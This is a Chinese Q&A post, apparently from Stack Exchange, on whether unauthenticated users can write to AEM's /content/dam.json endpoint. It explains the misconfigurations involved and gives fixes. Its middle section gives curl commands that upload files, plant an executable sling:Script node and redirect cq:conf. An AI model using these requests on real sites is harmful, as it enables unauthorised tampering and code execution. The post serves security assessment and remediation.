POST端点是什么?未认证能否通过AEM的dam.json端点操作内容?
AEM /content/dam.json 未认证写入权限分析与操作说明
未认证状态下能否上传/修改内容?
AEM默认安全规则里,匿名(未认证)用户是没有jcr:write权限的,正常情况下无法对DAM节点执行写入操作。但如果出现以下配置错误,就可能存在未认证写入漏洞:
- 处理该POST请求的Sling Servlet未做权限校验,直接放行匿名用户的写入请求
/content/dam节点的ACL(访问控制列表)错误赋予了匿名用户写入权限- 站点存在认证绕过类的漏洞
你收到的“content changed successful”提示不能直接作为修改成功的依据,必须实际验证:比如发送POST请求后,通过GET请求查看节点属性是否变化,或者上传测试文件确认是否出现在DAM中。
若漏洞存在,具体操作方法
如果确实允许未认证写入,针对该.json端点,常见操作方式如下:
1. 上传DAM资产
使用multipart/form-data格式发送POST请求,参数需包含:
:operation=upload:指定执行上传操作:contentType:对应文件的MIME类型(比如image/png、application/pdf)file:要上传的文件内容
示例curl命令:
curl -X POST -F ":operation=upload" -F ":contentType=image/png" -F "file=@test.png" http://site.com/content/dam.json
上传成功后,可通过http://site.com/content/dam/test.png.json查看该资产节点是否存在。
2. 创建恶意脚本或页面节点
使用application/x-www-form-urlencoded格式创建子节点,参数设置:
:name:要创建的节点名称(比如malicious-script):jcr:primaryType:节点类型(比如sling:Script对应可执行脚本,cq:Page对应页面节点)- 节点属性:比如脚本内容通过
jcr:data参数传递
示例curl命令(创建可执行脚本):
curl -X POST -d ":name=malicious-script" -d ":jcr:primaryType=sling:Script" -d "jcr:data=<% out.println('Unauthorized Access'); %>" http://site.com/content/dam.json
创建成功后,访问http://site.com/content/dam/malicious-script即可执行该脚本。
3. 修改现有节点属性
直接POST要修改的属性键值对,比如修改cq:conf属性:
curl -X POST -d "cq:conf=/conf/attacker-controlled" http://site.com/content/dam.json
关键提醒
- 所有操作必须先验证漏洞真实存在,不能仅依赖响应提示判定写入成功
- 此类漏洞属于高危安全问题,一旦确认存在,需立即修复:检查Sling Servlet的权限配置,修正
/content/dam节点的ACL,确保匿名用户仅拥有只读权限
内容的提问来源于stack exchange,提问作者James
相关产品推荐
相关产品推荐

